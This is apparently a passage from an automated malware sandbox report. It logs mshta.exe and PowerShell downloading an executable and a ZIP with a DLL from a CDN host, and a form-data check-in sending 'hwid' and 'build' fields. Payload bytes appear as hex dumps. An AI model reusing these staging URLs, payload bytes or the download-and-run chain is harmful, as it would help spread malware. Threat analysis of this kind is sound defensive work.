name="hwid"27ED3C190AC22312027626------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"cr3------BGHJJDGHCBGDHIECBGID--
Aug 10, 2024 19:10:37.251897097 CEST	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 10 Aug 2024 17:10:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8 Connection: keep-alive Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.93.1.250	443	7172	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-10 17:10:02 UTC	331	OUT	GET /smart1 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bidvertiser.b-cdn.net Connection: Keep-Alive
2024-08-10 17:10:02 UTC	637	IN	HTTP/1.1 200 OK Date: Sat, 10 Aug 2024 17:10:02 GMT Content-Type: application/octet-stream Content-Length: 166102 Connection: close Server: BunnyCDN-IL1-941 CDN-PullZone: 2426042 CDN-Uid: 4ec946d1-7652-4f1a-8e05-bff5e7098a3d CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Sat, 10 Aug 2024 07:21:49 GMT CDN-StorageServer: NY-346 CDN-FileServer: 622 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 08/10/2024 09:53:20 CDN-EdgeStorageId: 1069 CDN-Status: 200 CDN-RequestId: 83cab67edb2c1567f00eb01f0d6a10a5 CDN-Cache: HIT Accept-Ranges: bytes
2024-08-10 17:10:02 UTC	1448	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 57 56 1e fb 13 37 70 a8 13 37 70 a8 13 37 70 a8 c0 45 75 a9 12 37 70 a8 c0 45 73 a9 12 37 70 a8 c0 45 74 a9 06 37 70 a8 c0 45 71 a9 1c 37 70 a8 13 37 71 a8 96 37 70 a8 c0 45 78 a9 11 37 70 a8 c0 45 8f a8 12 37 70 a8 c0 45 72 a9 12 37 70 a8 52 69 63 68 13 37 70 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 47 0e aa c5 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$WV7p7p7pEu7pEs7pEt7pEq7p7q7pEx7pE7pEr7pRich7pPELG
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 00 00 00 00 50 00 72 00 65 00 66 00 65 00 72 00 72 00 65 00 64 00 20 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 00 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 44 00 69 00 61 00 6c 00 65 00 72 00 73 00 49 00 76 00 65 00 42 00 65 00 65 00 6e 00 53 00 74 00 61 00 72 00 74 00 65 00 64 00 4d 00 75 00 74 00 65 00 78 00 00 00 00 00 4e 00 75 00 6d 00 62 00 65 00 72 00 25 00 64 00 00 00 00 00 4e 00 61 00 6d 00 65 00 25 00 64 00 00 00 00 00 4c 00 61 00 73 00 74 00 20 00 64 00 69 00 61 00 6c 00 65 00 64 00 20 00 25 00 64 00 00 00 00 00 4d 00 61 00 69 00 6e 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 20 00 4c 00 65 00 66 00 74 00 2f 00 54 00 6f 00 70 00 00 00 00 00 4e 00 75 00 6d 00 62 00 65 00 72 00 00 00 00 00 25 00 73 00 25 00 64 00 00 00 00 00 4c 00 69 00 6e 00 65 Data Ascii: Preferred AddressLocal\DialersIveBeenStartedMutexNumber%dName%dLast dialed %dMain Window Left/TopNumber%s%dLine
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 00 00 8b f3 89 85 b4 fe ff ff 89 b5 b0 fe ff ff 8d 51 02 66 8b 01 83 c1 02 66 3b c3 75 f5 2b ca d1 f9 83 f9 50 0f 83 f3 00 00 00 57 6a 28 58 89 85 b8 fe ff ff 50 e9 be 00 00 00 8b 85 b8 fe ff ff 57 53 53 ff b5 b4 fe ff ff 89 07 ff 35 08 7d 40 00 ff 35 40 70 40 00 ff 35 48 7c 40 00 ff 15 c8 80 40 00 3d 0e 00 00 80 75 6c 39 9d a8 fe ff ff 0f 84 34 03 00 00 ff b5 b4 fe ff ff 89 9d a8 fe ff ff 53 68 04 00 01 00 ff 35 40 70 40 00 ff 35 48 7c 40 00 ff 15 bc 80 40 00 85 c0 0f 85 08 03 00 00 8b 85 b8 fe ff ff 57 53 53 ff b5 b4 fe ff ff 89 07 ff 35 08 7d 40 00 ff 35 40 70 40 00 ff 35 48 7c 40 00 ff 15 c8 80 40 00 3d 0e 00 00 80 0f 84 d4 02 00 00 85 c0 0f 85 cc 02 00 00 8b 47 04 89 85 b8 fe ff ff 3b 07 76 42 57 ff 15 3c 80 40 00 ff b5 b8 fe ff ff 6a 40 ff 15 58 80 Data Ascii: Qff;u+PWj(XPWSS5}@5@p@5H\|@@=ul94Sh5@p@5H\|@@WSS5}@5@p@5H\|@@=G;vBW<@j@X
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 44 00 69 00 61 00 6c 00 65 00 72 00 00 00 00 00 50 00 72 00 65 00 66 00 65 00 72 00 72 00 65 00 64 00 20 00 4c 00 69 00 6e 00 65 00 00 00 00 00 50 00 72 00 65 00 66 00 65 00 72 00 72 00 65 00 64 00 20 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 00 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 44 00 69 00 61 00 6c 00 65 00 72 00 73 00 49 00 76 00 65 00 42 00 65 00 65 00 6e 00 53 00 74 00 61 00 72 00 74 00 65 00 64 00 4d 00 75 00 74 00 65 00 78 00 00 00 00 00 4e 00 75 00 6d 00 62 00 65 00 72 00 25 00 64 00 00 00 00 00 4e 00 61 00 6d 00 65 00 25 00 64 00 00 00 00 00 4c 00 61 00 73 00 74 00 20 00 64 00 69 00 61 00 6c 00 65 00 64 00 20 00 25 00 64 00 00 00 00 00 Data Ascii: s\CurrentVersion\DialerPreferred LinePreferred AddressLocal\DialersIveBeenStartedMutexNumber%dName%dLast dialed %d
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 80 40 00 5f 85 c0 75 03 40 eb 02 33 c0 8b 4d fc 33 cd 5b e8 af 09 00 00 c9 c3 e8 02 0b 00 00 cc cc cc cc cc cc cc 8b ff 55 8b ec 81 ec 58 01 00 00 a1 04 70 40 00 33 c5 89 45 fc 53 33 db 89 95 ac fe ff ff 56 8b c1 c7 85 a8 fe ff ff 01 00 00 00 8b f3 89 85 b4 fe ff ff 89 b5 b0 fe ff ff 8d 51 02 66 8b 01 83 c1 02 66 3b c3 75 f5 2b ca d1 f9 83 f9 50 0f 83 f3 00 00 00 57 6a 28 58 89 85 b8 fe ff ff 50 e9 be 00 00 00 8b 85 b8 fe ff ff 57 53 53 ff b5 b4 fe ff ff 89 07 ff 35 08 7d 40 00 ff 35 40 70 40 00 ff 35 48 7c 40 00 ff 15 c8 80 40 00 3d 0e 00 00 80 75 6c 39 9d a8 fe ff ff 0f 84 34 03 00 00 ff b5 b4 fe ff ff 89 9d a8 fe ff ff 53 68 04 00 01 00 ff 35 40 70 40 00 ff 35 48 7c 40 00 ff 15 bc 80 40 00 85 c0 0f 85 08 03 00 00 8b 85 b8 fe ff ff 57 53 53 ff b5 b4 fe Data Ascii: @_u@3M3[UXp@3ES3VQff;u+PWj(XPWSS5}@5@p@5H\|@@=ul94Sh5@p@5H\|@@WSS
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 4a 2c 74 4c 2c 4d 62 2c 45 73 2c 41 4a 2c 74 4c 2c 4d 62 2c 6f 43 2c 41 4a 2c 77 6e 2c 79 46 2c 6f 43 2c 41 4a 2c 74 4c 2c 6f 43 2c 6f 43 2c 41 4a 2c 74 4c 2c 4d 62 2c 63 75 2c 41 4a 2c 74 4c 2c 4d 62 2c 71 55 2c 41 4a 2c 74 4c 2c 45 73 2c 74 4c 2c 41 4a 2c 74 4c 2c 4d 62 2c 76 67 2c 41 4a 2c 74 4c 2c 6f 43 2c 79 46 2c 41 4a 2c 74 4c 2c 4d 62 2c 45 73 2c 41 4a 2c 74 4c 2c 4d 62 2c 71 55 2c 41 4a 2c 77 6e 2c 79 46 2c 6f 43 2c 41 4a 2c 77 6e 2c 74 4c 2c 6f 43 2c 41 4a 2c 74 4c 2c 45 73 2c 77 6e 2c 41 4a 2c 77 6e 2c 77 6e 2c 79 46 2c 41 4a 2c 77 6e 2c 74 4c 2c 6f 43 2c 41 4a 2c 74 4c 2c 6f 43 2c 74 4c 2c 41 4a 2c 74 4c 2c 4d 62 2c 71 55 2c 41 4a 2c 74 4c 2c 7a 4a 2c 71 55 2c 41 4a 2c 77 6e 2c 77 6e 2c 79 46 2c 41 4a 2c 77 6e 2c 76 67 2c 71 55 2c 41 4a 2c 77 Data Ascii: J,tL,Mb,Es,AJ,tL,Mb,oC,AJ,wn,yF,oC,AJ,tL,oC,oC,AJ,tL,Mb,cu,AJ,tL,Mb,qU,AJ,tL,Es,tL,AJ,tL,Mb,vg,AJ,tL,oC,yF,AJ,tL,Mb,Es,AJ,tL,Mb,qU,AJ,wn,yF,oC,AJ,wn,tL,oC,AJ,tL,Es,wn,AJ,wn,wn,yF,AJ,wn,tL,oC,AJ,tL,oC,tL,AJ,tL,Mb,qU,AJ,tL,zJ,qU,AJ,wn,wn,yF,AJ,wn,vg,qU,AJ,w
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 2c 63 75 2c 71 55 2c 41 4a 2c 77 6e 2c 76 67 2c 74 4c 2c 41 4a 2c 77 6e 2c 63 75 2c 6f 43 2c 41 4a 2c 77 6e 2c 63 75 2c 7a 4a 2c 41 4a 2c 77 6e 2c 63 75 2c 7a 4a 2c 41 4a 2c 77 6e 2c 63 75 2c 71 55 2c 41 4a 2c 77 6e 2c 63 75 2c 63 75 2c 41 4a 2c 77 6e 2c 63 75 2c 79 46 2c 41 4a 2c 77 6e 2c 63 75 2c 6f 43 2c 41 4a 2c 77 6e 2c 63 75 2c 79 46 2c 41 4a 2c 77 6e 2c 63 75 2c 76 67 2c 41 4a 2c 77 6e 2c 77 6e 2c 63 75 2c 41 4a 2c 77 6e 2c 74 4c 2c 71 55 2c 41 4a 2c 77 6e 2c 63 75 2c 6f 43 2c 41 4a 2c 77 6e 2c 77 6e 2c 63 75 2c 41 4a 2c 77 6e 2c 76 67 2c 77 6e 2c 41 4a 2c 77 6e 2c 63 75 2c 7a 4a 2c 41 4a 2c 77 6e 2c 77 6e 2c 76 67 2c 41 4a 2c 77 6e 2c 74 4c 2c 71 55 2c 41 4a 2c 77 6e 2c 63 75 2c 76 67 2c 41 4a 2c 77 6e 2c 63 75 2c 76 67 2c 41 4a 2c 77 6e 2c 77 6e Data Ascii: ,cu,qU,AJ,wn,vg,tL,AJ,wn,cu,oC,AJ,wn,cu,zJ,AJ,wn,cu,zJ,AJ,wn,cu,qU,AJ,wn,cu,cu,AJ,wn,cu,yF,AJ,wn,cu,oC,AJ,wn,cu,yF,AJ,wn,cu,vg,AJ,wn,wn,cu,AJ,wn,tL,qU,AJ,wn,cu,oC,AJ,wn,wn,cu,AJ,wn,vg,wn,AJ,wn,cu,zJ,AJ,wn,wn,vg,AJ,wn,tL,qU,AJ,wn,cu,vg,AJ,wn,cu,vg,AJ,wn,wn
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 79 46 2c 41 4a 2c 74 4c 2c 4d 62 2c 71 55 2c 41 4a 2c 74 4c 2c 6f 43 2c 4d 62 2c 41 4a 2c 77 6e 2c 76 67 2c 71 55 2c 41 4a 2c 77 6e 2c 76 67 2c 77 6e 2c 41 4a 2c 77 6e 2c 76 67 2c 7a 4a 2c 41 4a 2c 77 6e 2c 63 75 2c 45 73 2c 41 4a 2c 77 6e 2c 76 67 2c 45 73 2c 41 4a 2c 77 6e 2c 79 46 2c 6f 43 2c 41 4a 2c 77 6e 2c 79 46 2c 76 67 2c 41 4a 2c 74 4c 2c 6f 43 2c 74 4c 2c 41 4a 2c 74 4c 2c 71 55 2c 7a 4a 2c 41 4a 2c 74 4c 2c 6f 43 2c 74 4c 2c 41 4a 2c 74 4c 2c 4d 62 2c 71 55 2c 41 4a 2c 74 4c 2c 71 55 2c 77 6e 2c 41 4a 2c 74 4c 2c 4d 62 2c 6f 43 2c 41 4a 2c 77 6e 2c 74 4c 2c 74 4c 2c 41 4a 2c 77 6e 2c 77 6e 2c 79 46 2c 41 4a 2c 74 4c 2c 6f 43 2c 6f 43 2c 41 4a 2c 77 6e 2c 76 67 2c 76 67 2c 41 4a 2c 74 4c 2c 71 55 2c 4d 62 2c 41 4a 2c 74 4c 2c 4d 62 2c 63 75 2c Data Ascii: yF,AJ,tL,Mb,qU,AJ,tL,oC,Mb,AJ,wn,vg,qU,AJ,wn,vg,wn,AJ,wn,vg,zJ,AJ,wn,cu,Es,AJ,wn,vg,Es,AJ,wn,yF,oC,AJ,wn,yF,vg,AJ,tL,oC,tL,AJ,tL,qU,zJ,AJ,tL,oC,tL,AJ,tL,Mb,qU,AJ,tL,qU,wn,AJ,tL,Mb,oC,AJ,wn,tL,tL,AJ,wn,wn,yF,AJ,tL,oC,oC,AJ,wn,vg,vg,AJ,tL,qU,Mb,AJ,tL,Mb,cu,
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 50 6a 40 ff 15 58 80 40 00 89 45 f4 85 c0 0f 84 b8 00 00 00 33 ff 39 3d c4 73 40 00 76 62 89 45 f8 8b d0 8b cf e8 92 e9 ff ff 85 c0 75 3e 8b 45 f8 83 c0 14 50 6a 00 68 43 01 00 00 53 ff 15 0c 81 40 00 8b d8 83 fb ff 74 75 83 fb fe 74 70 57 53 68 51 01 00 00 ff 75 fc ff 15 0c 81 40 00 3b 3d 40 70 40 00 75 49 8b f3 8b 5d fc 8b 45 f8 47 05 14 02 00 00 89 45 f8 3b 3d c4 73 40 00 72 a1 33 ff 57 57 68 46 01 00 00 53 ff 15 0c 81 40 00 85 c0 74 2b 8d 46 01 f7 d8 57 1b c0 23 c6 50 68 4e 01 00 00 53 ff 15 0c 81 40 00 33 c0 40 eb 21 83 fe ff 74 b4 3b de 8b 5d fc 77 b0 46 eb ad ff 75 f4 ff 15 3c 80 40 00 33 c0 eb 05 b8 44 00 00 80 5f 5e 5b c9 c3 cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 0c 53 56 57 6a 00 6a 00 8b f1 8b da 68 46 01 00 00 56 89 5d fc 83 cf ff ff 15 0c 81 Data Ascii: Pj@X@E39=s@vbEu>EPjhCS@tutpWShQu@;=@p@uI]EGE;=s@r3WWhFS@t+FW#PhNS@3@!t;]wFu<@3D_^[USVWjjhFV]
2024-08-10 17:10:02 UTC	16384	IN	Data Raw: 36 bd 36 cf 36 dd 36 e3 36 ee 36 f4 36 fc 36 0b 37 16 37 1e 37 24 37 2a 37 36 37 48 37 4e 37 58 37 65 37 6f 37 7e 37 8c 37 9a 37 a6 37 b6 37 bc 37 dc 37 eb 37 f0 37 fa 37 11 38 17 38 22 38 28 38 4f 38 61 38 67 38 6d 38 7a 38 84 38 93 38 a1 38 cc 38 06 39 19 39 40 39 5c 39 62 39 7b 39 8d 39 a8 39 c5 39 fe 39 17 3a 24 3a 36 3a 3b 3a 63 3a 80 3a 86 3a 8e 3a a9 3a ae 3a ba 3a d3 3a f5 3a 01 3b 07 3b 10 3b 16 3b 27 3b 30 3b 41 3b 4b 3b 51 3b 5c 3b 62 3b 7a 3b 8f 3b 9a 3b a4 3b b3 3b ba 3b d1 3b ed 3b f3 3b fd 3b 0c 3c 31 3c 49 3c 56 3c ce 3c d4 3c e0 3c 18 3e 1e 3e 2f 3e 35 3e 46 3e 4c 3e 5a 3e 63 3e 6a 3e 8c 3e a9 3e c3 3e d2 3e ea 3e 19 3f 2b 3f 33 3f 5b 3f 96 3f b4 3f d1 3f 00 50 00 00 6c 01 00 00 56 30 70 30 ac 30 bf 30 ca 30 fa 30 4e 31 58 31 8b 31 f6 31 Data Ascii: 66666666777$7*767H7N7X7e7o7~777777777788"8(8O8a8g8m8z8888899@9\9b9{99999:$:6:;:c:::::::::;;;;';0;A;K;Q;\;b;z;;;;;;;;;;<1<I<V<<<<>>/>5>F>L>Z>c>j>>>>>>?+?3?[????PlV0p00000N1X111

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	185.93.1.250	443	7336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-10 17:10:06 UTC	81	OUT	GET /smart1.zip HTTP/1.1 Host: bidvertiser.b-cdn.net Connection: Keep-Alive
2024-08-10 17:10:06 UTC	628	IN	HTTP/1.1 200 OK Date: Sat, 10 Aug 2024 17:10:06 GMT Content-Type: application/zip Content-Length: 7245419 Connection: close Server: BunnyCDN-IL1-941 CDN-PullZone: 2426042 CDN-Uid: 4ec946d1-7652-4f1a-8e05-bff5e7098a3d CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Sat, 10 Aug 2024 06:15:38 GMT CDN-StorageServer: NY-268 CDN-FileServer: 749 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 08/10/2024 09:36:09 CDN-EdgeStorageId: 894 CDN-Status: 200 CDN-RequestId: b00bf97ff3173da8042ea8752f63991c CDN-Cache: HIT Accept-Ranges: bytes
2024-08-10 17:10:06 UTC	15528	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 70 bf 2e 58 c8 b9 a0 29 ac 48 02 00 c0 14 05 00 17 00 00 00 51 74 35 50 72 69 6e 74 53 75 70 70 6f 72 74 56 42 6f 78 2e 64 6c 6c e4 7c 7b 7c 13 65 d6 f0 4c 92 b6 81 52 27 55 c6 ad 2e 2e d1 37 68 51 c4 4a 5d 17 b7 ac 9b 40 0b d3 35 c5 ac 58 40 ae d5 2a e2 2b 42 81 54 f0 4a bb 69 81 ec 10 a8 82 a2 ef a2 e2 1d 77 71 b7 22 42 29 0a 29 29 6d 91 02 e5 5e 40 a0 82 2b a9 55 29 65 2d 05 94 f9 ce 39 cf cc 64 92 16 bc bc df f7 d7 c7 ef 57 32 cf ed dc 9f f3 9c f3 3c cf 4c ce 98 32 ce cc 71 9c 05 fe 14 85 e3 2a 38 f6 cf c9 fd f8 3f 2b cf 71 97 f5 ae bc 8c 5b dd 6d db b5 15 bc 7b db b5 f7 4e 7e 64 a6 bd 60 c6 b4 87 67 dc ff 98 3d ff fe a9 53 a7 79 ed 0f 3c 64 9f 51 38 d5 fe c8 54 7b e6 dd 23 ec 8f 4d 7b f0 a1 fe 49 49 dd 1d 2a 8c 8d bf 9b Data Ascii: PKp.X)HQt5PrintSupportVBox.dll\|{\|eLR'U..7hQJ]@5X@+BTJiwq"B)))m^@+U)e-9dW2<L2q8?+q[m{N~d`g=Sy<dQ8T{#M{II*
2024-08-10 17:10:06 UTC	16384	IN	Data Raw: 0d 94 27 70 d2 80 04 98 8f 6b b1 4a 6a c1 f6 c8 4e a5 7d f1 c7 8b 14 6f bc ec aa b6 8c 97 6f a6 59 c7 8b 61 af f1 a0 8e 26 6d 3d 1f a5 a6 85 6e 8f 59 ac dc 3d 95 e6 1c e8 dd ac 26 04 29 0f 5a 85 6b 96 e1 53 8d 35 0b 2d 57 3c d2 d6 4f 04 2b 6d a8 e6 ba 88 9b 56 2f da f7 03 4d 53 e3 f4 69 51 65 78 73 62 f0 61 3f 82 ce 2b 53 0c 74 ca 28 46 4b 6e 60 88 ce ea 29 51 a0 99 81 8c 64 20 63 ec 39 d2 66 46 f0 39 5c fd 7f c7 67 b8 89 cf 77 14 db 24 9f 5e 89 f8 e8 55 f1 f1 59 3c d5 c0 27 4d e0 73 74 80 89 cf 7d 97 80 8f f2 63 08 35 55 19 08 7d 4b 71 5b f2 14 42 68 56 34 42 8a 89 d1 47 53 0c 8c fa 08 8c 0a 22 18 bd 31 35 aa d4 cf c1 e7 fb 4a 03 9f 02 8e cf 5f 55 c4 e7 58 65 2f f8 e4 9b f8 24 08 7c fe cb 65 e2 93 11 07 1f 63 3c 94 d2 78 05 86 86 4a d3 4c 20 83 04 90 79 Data Ascii: 'pkJjN}ooYa&m=nY=&)ZkS5-W<O+mV/MSiQexsba?+St(FKn`)Qd c9fF9\gw$^UY<'Mst}c5U}Kq[BhV4BGS"15J_UXe/$\|ec<xJL y
2024-08-10 17:10:06 UTC	13984	IN	Data Raw: 4f f0 ec 7f d7 92 cd 58 f7 c3 d7 4e b8 67 2b 6b 19 77 df 2a ee 72 0c f1 e1 c1 51 bc 52 37 ce e7 18 0b ce 72 e3 f5 d8 5e c3 16 ef e6 fd 17 5e d6 4d 7c aa fe 7d 52 78 6b b5 4e 2e 72 c9 5e 48 42 2a 4b 42 04 5e ac b7 3f 59 2c bf 0c 0d 56 2d c3 2b 55 de ba e6 e2 a2 a1 c8 8a 8b fa f9 ec 35 55 5a e5 90 97 cc cf 83 c7 16 d8 3c fb 8d fc 32 9c e3 ef f8 32 1e ea 87 cb b1 6a 91 5c a4 05 f3 03 5a 9d 6d 68 b5 3d 5d 7b bf 56 f8 82 2c e5 72 b2 1a ae 59 fd fb 58 3d 2b f9 65 b8 28 20 17 69 97 70 d1 e8 97 fa 46 db 23 b5 00 d6 1d 83 9d 09 6f 9d cd d3 0a ed e1 d2 d2 3c 2d 09 34 4c 7b d5 88 79 31 b8 a4 54 ad ee fa 11 e2 83 d1 aa 75 c4 31 e0 34 94 d2 23 c9 73 e0 6d fb b2 a3 67 f4 bc b4 d0 e2 7b b0 be 7f d4 a0 37 dd b1 20 98 c8 0d 99 d4 1b ab ec 34 f8 fa ad 43 5a 40 6b 88 3b 41 Data Ascii: OXNg+kwrQR7r^^M\|}RxkN.r^HBKB^?Y,V-+U5UZ<22j\Zmh=]{V,rYX=+e( ipF#o<-4L{y1Tu14#smg{7 4CZ@k;A
2024-08-10 17:10:06 UTC	9640	IN	Data Raw: a3 cf 06 ce 98 b0 1f 9b 2f 73 51 b6 0d a3 92 07 cf 64 d3 f4 cf 9f 42 6d 9d 9f 52 df 55 06 ca c4 19 3c 95 39 29 47 27 fb 1a 38 c9 e6 4e c6 33 27 1f a0 93 7f 4c 41 52 30 91 db a7 ce 4c 66 83 51 bc cb ef 9c 0a 63 0e 1c 08 19 0f d7 c8 46 c0 b1 cf 11 48 d5 a7 8e 57 ad f7 f2 d4 4e 55 ad 36 fe 35 93 d1 f1 94 03 46 cf 3c ab 67 cb c4 3e ab de 47 01 7d 58 eb f3 73 f8 b5 81 e9 50 90 ce 2b 6a 19 96 63 26 ea de 5c 6f d2 2e cb 76 5a 1f e2 be 99 b6 06 0e 2a 2e 9c 88 9d 5b 65 0b bc 7e 59 7d bb b8 bd b2 f5 f4 26 db 43 b5 6b b5 cc 49 87 28 d8 6c fd c2 29 ef 01 dd ad 91 d8 6e 72 42 30 d8 42 c5 9c 30 1f ae 69 7a 2b 4d 0f e0 07 23 b9 17 31 7a 7b 99 d6 b6 e4 77 80 a8 5e 04 ee 6b 73 6c c8 78 f3 2f c6 4d 84 87 18 dd 94 dc 6d 42 98 67 0a 48 fe 36 f3 99 60 27 08 ab f1 69 a2 06 e0 Data Ascii: /sQdBmRU<9)G'8N3'LAR0LfQcFHWNU65F<g>G}XsP+jc&\o.vZ*.[e~Y}&CkI(l)nrB0B0iz+M#1z{w^kslx/MmBgH6`'i
2024-08-10 17:10:06 UTC	8688	IN	Data Raw: 52 dd 3f e9 a1 cb 51 d9 cc bd 23 9f 8b 2a 8c 2e 93 cd 13 58 1c 0e 5f 18 74 a0 f6 9b a8 e1 b0 e5 e1 5f ad 5a 7e 65 73 8f 4d bc b8 5a 31 37 17 3e e2 43 03 73 d2 02 f9 fe 51 df 7f 04 09 98 85 9b 66 51 27 03 d6 53 ad 38 06 6b 69 35 ff c4 ac e4 13 10 ce ed c9 72 21 ab c4 2d 1f 61 69 bc f9 51 20 d6 1d 09 d8 30 56 63 90 2d 78 90 8b 98 06 ae a6 1e 55 ad b1 56 b4 7e de e0 e3 9b 68 4a 67 aa ec 60 c3 da be 14 f9 b0 12 25 d4 e3 27 d8 07 3a e5 18 49 3e e9 f0 7e 5b e7 92 f7 3a 6a 85 30 b6 7e 76 df e4 90 ed 11 a9 19 69 61 bf 56 b8 42 0f 4b 19 65 ae bb 0e a7 64 14 f7 95 a3 2d 92 dc cb c2 a6 09 06 11 b5 c9 a6 50 d1 dd 5c dc c2 d0 5b 59 e3 0a 2d 73 25 b0 68 f6 3e 59 65 0d 96 0b 1c b8 5f 24 25 45 dd b9 2e 44 b8 e8 69 25 15 16 5a c6 fd 5a a8 aa 17 3d 21 17 8b a5 c2 bd 96 aa Data Ascii: R?Q#*.X_t_Z~esMZ17>CsQfQ'S8ki5r!-aiQ 0Vc-xUV~hJg`%':I>~[:j0~viaVBKed-P\[Y-s%h>Ye_$%E.Di%ZZ=!
2024-08-10 17:10:06 UTC	16384	IN	Data Raw: ff 61 b3 9f aa 61 c1 17 b2 e0 1f 20 f6 fe b0 42 68 fa fd f0 5f fb c3 80 cf 66 af a6 35 bc e3 59 05 59 d2 29 0c 03 a7 18 f8 06 bb c4 68 5f 9d 2c dd d0 76 34 1d 08 7f c7 a1 f0 74 27 10 ed 2b f0 4b e9 d8 a0 e1 6a 60 00 2e 9e 79 87 2e 74 0c 74 92 f3 0d 14 cd f0 ab 31 c1 3f ec b7 f8 ff 86 bd 1c fe e8 4c f1 0f 21 e0 33 07 8b 3f 82 59 fe 6e 16 8c 29 0f fa 2c 18 d3 c7 b3 87 05 e3 07 98 21 0b c6 1c 3b 63 16 8c e9 df 34 61 c1 98 cf b0 8f 05 5b 00 b0 fd 2c 18 53 76 0e fc 89 0f 05 de 37 f2 b0 f8 32 a6 62 ec ee af 9e c6 7f 30 55 2e e1 be 62 37 cf 37 b2 e0 ac fc 6b 01 d5 47 3b a1 60 01 00 87 30 23 da a0 bb 38 d1 c4 11 87 63 8d 66 99 99 3f 04 62 e3 0f e1 65 79 9e 4d 2c ef 92 1a f2 33 f4 af 3a 58 2f f7 03 ba 0b 50 c3 eb 88 59 c5 29 db 03 2a 0f a8 15 a0 3f 2e 50 bf 0d 89 Data Ascii: aa Bh_f5YY)h_,v4t'+Kj`.y.tt1?L!3?Yn),!;c4a[,Sv72b0U.b77kG;`0#8cf?beyM,3:X/PY)*?.P
2024-08-10 17:10:06 UTC	16384	IN	Data Raw: ba 37 90 0b fb 81 37 d4 31 2c 97 95 e6 5a 0b 4e e1 f6 e0 a9 3c 7e 71 e6 b1 74 23 27 a5 09 05 6c a2 49 70 3f 33 17 d1 0a cc e6 98 3f f2 6b c7 81 70 d5 87 67 12 53 ed 3e 78 4f c1 93 0f e9 88 c1 0a 61 b8 5a 6f 60 2e 1c b5 c7 92 ef 0a 4f b8 85 17 87 f7 b9 d5 84 e4 18 44 fe 50 ad a1 b4 88 b8 14 6c a2 9a f4 e0 6a c2 15 9d 69 9c a2 90 06 5c 9a ea 75 d3 9f 2f aa 54 62 69 75 af f7 d7 5e 8a 2a 3c 5e 1b 54 b5 c8 d8 68 7a 4f b1 ea 80 a8 86 45 91 e8 15 28 7e b8 a0 b5 14 9f 77 43 33 dc b9 9a 3c c6 2c 93 09 7a 3b 77 81 aa b1 94 ff bc ae cb 7b 32 b6 8d d0 de 38 f5 73 e2 32 4b 82 0c bf 06 28 05 0b 53 48 7f 10 e4 09 a4 7e 6d 89 a8 3c 5b 08 9d c9 58 74 9e e0 57 0c 3b dd 9c bb 0e d5 0f 09 06 49 37 47 3c ef 3d 76 4c 87 5d 35 b6 33 d5 b4 93 48 28 81 96 9f 8a ab ce ac 3d 47 99 Data Ascii: 771,ZN<~qt#'lIp?3?kpgS>xOaZo`.ODPlji\u/Tbiu^*<^ThzOE(~wC3<,z;w{28s2K(SH~m<[XtW;I7G<=vL]53H(=G
